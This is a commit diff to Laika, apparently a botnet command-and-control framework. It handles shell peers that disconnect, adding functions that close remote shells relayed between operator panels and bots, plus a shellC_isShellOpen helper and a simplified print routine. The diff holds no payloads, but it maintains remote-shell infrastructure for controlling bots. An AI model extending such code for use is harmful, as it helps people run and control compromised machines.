Handled edgecase of shell peer disconnecting

- minor refactor of shell client, added shellC_isShellOpen()

cnc/include/cpanel.h

@@ -1,11 +1,15 @@
 #ifndef LAIKA_CNC_PANEL_H
 #define LAIKA_CNC_PANEL_H
 
+#include "cnc.h"
 #include "lpeer.h"
 
 void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
 void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
 
+void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo);
+void laikaC_closeBotShell(struct sLaika_botInfo *bInfo);
+
 void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);

cnc/src/cnc.c

@@ -242,14 +242,32 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
 void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
     int i;
 
-    /* remove peer from panels list (if it's a panel) */
-    if (peer->type == PEER_AUTH)
-        laikaC_rmvAuth(cnc, peer);
+    switch (peer->type) {
+        case PEER_BOT: {
+            struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)peer->uData;
+
+            /* close any open shells */
+            if (bInfo->shellAuth)
+                laikaC_closeBotShell(bInfo);
+            break;
+        }
+        case PEER_AUTH: {
+            struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)peer->uData;
+
+            /* close any open shells */
+            if (aInfo->shellBot)
+                laikaC_closeAuthShell(aInfo);
+
+            /* remove peer from panels list */
+            laikaC_rmvAuth(cnc, peer);
+            break;
+        }
+        default: break;
+    }
 
     /* notify connected panels of the disconnected peer */
     for (i = 0; i < cnc->authPeersCount; i++) {
-        if (cnc->authPeers[i] != peer) /* don't send disconnect event to themselves */
-            laikaC_sendRmvPeer(cnc->authPeers[i], peer);
+        laikaC_sendRmvPeer(cnc->authPeers[i], peer);
     }
 
     /* remove from peer lookup map */

cnc/src/cpanel.c

@@ -36,6 +36,24 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
     laikaS_endOutPacket(authPeer);
 }
 
+void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) {
+    /* forward to SHELL_CLOSE to auth */
+    laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
+
+    /* close shell */
+    ((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
+    aInfo->shellBot = NULL;
+}
+
+void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) {
+    /* forward to SHELL_CLOSE to auth */
+    laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
+
+    /* close shell */
+    ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
+    bInfo->shellAuth = NULL;
+}
+
 /* ============================================[[ Packet Handlers ]]============================================= */
 
 void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
@@ -95,12 +113,8 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
     if (aInfo->shellBot == NULL)
         return;
 
-    /* forward to SHELL_CLOSE to auth */
-    laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
-
-    /* close shell */
-    ((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
-    aInfo->shellBot = NULL;
+    
+    laikaC_closeAuthShell(aInfo);
 }
 
 void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {

shell/include/sclient.h

@@ -18,6 +18,8 @@ typedef struct sShell_client {
     int peerTblCap;
 } tShell_client;
 
+#define shellC_isShellOpen(x) (x->openShell != NULL)
+
 void shellC_init(tShell_client *client);
 void shellC_cleanup(tShell_client *client);
 

shell/src/sclient.c

@@ -84,7 +84,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
     tShell_client *client = (tShell_client*)uData;
 
     /* sanity check */
-    if (client->openShell == NULL)
+    if (!shellC_isShellOpen(client))
         LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
 
     laikaS_read(&peer->sock, buf, sz);
@@ -95,7 +95,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
     tShell_client *client = (tShell_client*)uData;
     
     /* sanity check */
-    if (client->openShell == NULL)
+    if (!shellC_isShellOpen(client))
         LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
 
     /* close shell */
@@ -286,8 +286,10 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
     hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
 
     /* let user know */
-    shellT_printf("\nNew peer connected to CNC:\n");
-    shellC_printInfo(newPeer);
+    if (!shellC_isShellOpen(client)) {
+        shellT_printf("\nNew peer connected to CNC:\n");
+        shellC_printInfo(newPeer);
+    }
     return id;
 }
 
@@ -298,8 +300,10 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
     /* remove peer from hashmap */
     hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer});
 
-    shellT_printf("\nPeer disconnected from CNC:\n");
-    shellC_printInfo(oldPeer);
+    if (!shellC_isShellOpen(client)) {
+        shellT_printf("\nPeer disconnected from CNC:\n");
+        shellC_printInfo(oldPeer);
+    }
 
     /* finally, free peer */
     shellP_freePeer(oldPeer);
@@ -319,7 +323,7 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer) {
 
 void shellC_closeShell(tShell_client *client) {
     /* check if we have a shell open */
-    if (client->openShell == NULL)
+    if (!shellC_isShellOpen(client))
         return;
 
     /* send SHELL_CLOSE request */
@@ -329,7 +333,7 @@ void shellC_closeShell(tShell_client *client) {
 
 void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
     /* check if we have a shell open */
-    if (client->openShell == NULL)
+    if (!shellC_isShellOpen(client))
         return;
 
     laikaS_startVarPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_DATA);

shell/src/scmd.c

@@ -63,7 +63,7 @@ void openShell(tShell_client *client, int args, char *argc[]) {
     shellC_openShell(client, peer);
 
     /* while client is alive, and our shell is open */
-    while (laikaS_isAlive((&client->peer->sock)) && client->openShell) {
+    while (laikaS_isAlive((&client->peer->sock)) && shellC_isShellOpen(client)) {
         /* poll for 50ms */
         if (!shellC_poll(client, 50)) {
             /* check if we have input! */
@@ -77,6 +77,8 @@ void openShell(tShell_client *client, int args, char *argc[]) {
             }
         }
     }
+
+    shellT_printf("\n\nShell closed\n\n");
 }
 
 /* =============================================[[ Command Table ]]============================================== */

shell/src/sterm.c

@@ -37,28 +37,11 @@ void shellT_resetTerm(void) {
 
 void shellT_printf(const char *format, ...) {
     va_list args;
-    va_list args2;
-    char *buf;
-    int sz, i;
 
-    /* TODO: this is pretty hacky & ugly. find another way without using the heap? */
     va_start(args, format);
-    va_copy(args2, args);
-    sz = vsnprintf(NULL, 0, format, args);
-    buf = laikaM_malloc(sz+1);
-    vsnprintf(buf, sz+1, format, args2);
+    vprintf(format, args);
     va_end(args);
-    va_end(args2);
-
-    /* convert output */
-    for (i = 0; i <= sz; i++) {
-        switch (buf[i]) {
-            case '\n': putchar('\n'); putchar('\r'); break;
-            default: putchar(buf[i]); break;
-        }
-    }
-
-    laikaM_free(buf);
+    
     fflush(stdout);
 }